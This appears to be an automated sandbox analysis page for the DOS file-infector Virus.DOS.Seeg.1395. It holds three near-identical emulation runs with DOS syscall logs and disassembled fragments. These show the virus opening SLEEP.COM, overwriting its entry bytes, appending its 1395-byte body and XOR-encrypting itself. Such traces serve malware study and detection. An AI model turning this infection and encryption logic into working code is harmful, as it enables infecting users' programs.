Sample viewer

vx.netlux.org/Virus.DOS.Seeg.1395

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:38.122474763Z 73 PC: 12c16 | Release memory
2018-12-17T22:44:38.124994455Z 72 PC: 12c23 | Allocate memory
2018-12-17T22:44:38.133218021Z 74 PC: 12c30 | Reallocate memory
2018-12-17T22:44:38.1351028Z 72 PC: 12c38 | Allocate memory
2018-12-17T22:44:38.137166456Z 44 PC: 12c50 | Get time 0x12c50: cmp dh, 0x22
0x12c53: jne 0x12c5b
0x12c55: nop
0x12c56: nop
0x12c57: nop
0x12c58: call 0x12daa
0x12c5b: call 0x12eb2
0x12c5e: lea si, word ptr [bp + 0x2b2]
0x12c62: mov ax, dx
0x12c64: xor bx, bx
0x12c66: call 0x12de0
0x12c69: xor ax, 0x1234
0x12c6c: call 0x12de0
0x12c6f: mov ax, word ptr [si]
0x12c71: xor ah, ah
0x12c73: mov bl, 2
0x12c75: div bl
0x12c77: xor ah, ah
0x12c79: mov byte ptr [bp + 0x2bf], al
0x12c7d: push si
2018-12-17T22:44:38.142345333Z 26 PC: 12ed3 | Set disk transfer address
2018-12-17T22:44:38.143981847Z 78 PC: 12edf | Find first file
2018-12-17T22:44:38.151030214Z 67 PC: 12f58 | Get or set file attributes
2018-12-17T22:44:38.170720165Z 61 PC: 12f69 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:44:38.179386001Z 66 PC: 12f7e | Move file pointer
2018-12-17T22:44:38.181473421Z 63 PC: 12f89 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:44:38.191137833Z 66 PC: 12fb8 | Move file pointer
2018-12-17T22:44:38.192787881Z 64 PC: 12fc4 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:44:38.19586458Z 66 PC: 12fce | Move file pointer
2018-12-17T22:44:38.198014448Z 44 PC: 12fd2 | Get time 0x12fd2: push ds
0x12fd3: mov cx, 0x2b9
0x12fd6: mov si, 0x49
0x12fd9: mov word ptr es:[0x23], dx
0x12fde: xor word ptr es:[si], dx
0x12fe1: inc si
0x12fe2: inc si
0x12fe3: loop 0x12fde
0x12fe5: push bx
0x12fe6: xor ax, ax
0x12fe8: mov al, byte ptr [bp + 0x2c0]
0x12fec: mov bl, 3
0x12fee: mul bl
0x12ff0: add ax, 3
0x12ff3: mov word ptr [bp + 0x2c1], ax
0x12ff7: lea si, word ptr [bp + 0x26c]
0x12ffb: xor di, di
0x12ffd: movsb byte ptr es:[di], byte ptr [si]
0x12ffe: mov bx, word ptr [bp + 0x23e]
0x13002: add bx, ax
2018-12-17T22:44:38.203416484Z 64 PC: 13066 | Write file or device (Write 34 bytes on handle 5)
2018-12-17T22:44:38.207510964Z 64 PC: 13072 | Write file or device (Write 1395 bytes on handle 5)
2018-12-17T22:44:38.217062954Z 87 PC: 13088 | Get or set file date and time
2018-12-17T22:44:38.22032997Z 62 PC: 1308c | Close file
2018-12-17T22:44:38.228504463Z 73 PC: 13092 | Release memory

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":8280,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:02.825253871Z 73 PC: 12c16 | Release memory
2018-12-25T12:04:02.827109636Z 72 PC: 12c23 | Allocate memory
2018-12-25T12:04:02.828989234Z 74 PC: 12c30 | Reallocate memory
2018-12-25T12:04:02.830847314Z 72 PC: 12c38 | Allocate memory
2018-12-25T12:04:02.832866479Z 44 PC: 12c50 | Get time 0x12c50: cmp dh, 0x22
0x12c53: jne 0x12c5b
0x12c55: nop
0x12c56: nop
0x12c57: nop
0x12c58: call 0x12daa
0x12c5b: call 0x12eb2
0x12c5e: lea si, word ptr [bp + 0x2b2]
0x12c62: mov ax, dx
0x12c64: xor bx, bx
0x12c66: call 0x12de0
0x12c69: xor ax, 0x1234
0x12c6c: call 0x12de0
0x12c6f: mov ax, word ptr [si]
0x12c71: xor ah, ah
0x12c73: mov bl, 2
0x12c75: div bl
0x12c77: xor ah, ah
0x12c79: mov byte ptr [bp + 0x2bf], al
0x12c7d: push si
2018-12-25T12:04:02.836053595Z 26 PC: 12ed3 | Set disk transfer address
2018-12-25T12:04:02.837018265Z 78 PC: 12edf | Find first file
2018-12-25T12:04:02.84373834Z 67 PC: 12f58 | Get or set file attributes
2018-12-25T12:04:02.861921908Z 61 PC: 12f69 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:02.86909044Z 66 PC: 12f7e | Move file pointer
2018-12-25T12:04:02.870421286Z 63 PC: 12f89 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:04:02.877642077Z 66 PC: 12fb8 | Move file pointer
2018-12-25T12:04:02.879029126Z 64 PC: 12fc4 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:04:02.881720406Z 66 PC: 12fce | Move file pointer
2018-12-25T12:04:02.883611373Z 44 PC: 12fd2 | Get time 0x12fd2: push ds
0x12fd3: mov cx, 0x2b9
0x12fd6: mov si, 0x49
0x12fd9: mov word ptr es:[0x23], dx
0x12fde: xor word ptr es:[si], dx
0x12fe1: inc si
0x12fe2: inc si
0x12fe3: loop 0x12fde
0x12fe5: push bx
0x12fe6: xor ax, ax
0x12fe8: mov al, byte ptr [bp + 0x2c0]
0x12fec: mov bl, 3
0x12fee: mul bl
0x12ff0: add ax, 3
0x12ff3: mov word ptr [bp + 0x2c1], ax
0x12ff7: lea si, word ptr [bp + 0x26c]
0x12ffb: xor di, di
0x12ffd: movsb byte ptr es:[di], byte ptr [si]
0x12ffe: mov bx, word ptr [bp + 0x23e]
0x13002: add bx, ax
2018-12-25T12:04:02.888204495Z 64 PC: 13066 | Write file or device (Write 25 bytes on handle 5)
2018-12-25T12:04:02.891030548Z 64 PC: 13072 | Write file or device (Write 1395 bytes on handle 5)
2018-12-25T12:04:02.901345116Z 87 PC: 13088 | Get or set file date and time
2018-12-25T12:04:02.902898414Z 62 PC: 1308c | Close file
2018-12-25T12:04:02.912089169Z 73 PC: 13092 | Release memory

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":34,"TimeBased":true,"OriginalID":8280,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:03.585338574Z 73 PC: 12c16 | Release memory
2018-12-25T12:04:03.587855823Z 72 PC: 12c23 | Allocate memory
2018-12-25T12:04:03.589643007Z 74 PC: 12c30 | Reallocate memory
2018-12-25T12:04:03.591017708Z 72 PC: 12c38 | Allocate memory
2018-12-25T12:04:03.59245935Z 44 PC: 12c50 | Get time 0x12c50: cmp dh, 0x22
0x12c53: jne 0x12c5b
0x12c55: nop
0x12c56: nop
0x12c57: nop
0x12c58: call 0x12daa
0x12c5b: call 0x12eb2
0x12c5e: lea si, word ptr [bp + 0x2b2]
0x12c62: mov ax, dx
0x12c64: xor bx, bx
0x12c66: call 0x12de0
0x12c69: xor ax, 0x1234
0x12c6c: call 0x12de0
0x12c6f: mov ax, word ptr [si]
0x12c71: xor ah, ah
0x12c73: mov bl, 2
0x12c75: div bl
0x12c77: xor ah, ah
0x12c79: mov byte ptr [bp + 0x2bf], al
0x12c7d: push si
2018-12-25T12:04:03.595796128Z 26 PC: 12ed3 | Set disk transfer address
2018-12-25T12:04:03.596951843Z 78 PC: 12edf | Find first file
2018-12-25T12:04:03.602951996Z 67 PC: 12f58 | Get or set file attributes
2018-12-25T12:04:03.622014507Z 61 PC: 12f69 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:03.628905272Z 66 PC: 12f7e | Move file pointer
2018-12-25T12:04:03.630164274Z 63 PC: 12f89 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:04:03.637706744Z 66 PC: 12fb8 | Move file pointer
2018-12-25T12:04:03.639030357Z 64 PC: 12fc4 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:04:03.641538464Z 66 PC: 12fce | Move file pointer
2018-12-25T12:04:03.643844211Z 44 PC: 12fd2 | Get time 0x12fd2: push ds
0x12fd3: mov cx, 0x2b9
0x12fd6: mov si, 0x49
0x12fd9: mov word ptr es:[0x23], dx
0x12fde: xor word ptr es:[si], dx
0x12fe1: inc si
0x12fe2: inc si
0x12fe3: loop 0x12fde
0x12fe5: push bx
0x12fe6: xor ax, ax
0x12fe8: mov al, byte ptr [bp + 0x2c0]
0x12fec: mov bl, 3
0x12fee: mul bl
0x12ff0: add ax, 3
0x12ff3: mov word ptr [bp + 0x2c1], ax
0x12ff7: lea si, word ptr [bp + 0x26c]
0x12ffb: xor di, di
0x12ffd: movsb byte ptr es:[di], byte ptr [si]
0x12ffe: mov bx, word ptr [bp + 0x23e]
0x13002: add bx, ax
2018-12-25T12:04:03.647606311Z 64 PC: 13066 | Write file or device (Write 16 bytes on handle 5)
2018-12-25T12:04:03.65044253Z 64 PC: 13072 | Write file or device (Write 1395 bytes on handle 5)
2018-12-25T12:04:03.659878726Z 87 PC: 13088 | Get or set file date and time
2018-12-25T12:04:03.661614655Z 62 PC: 1308c | Close file
2018-12-25T12:04:03.669122114Z 73 PC: 13092 | Release memory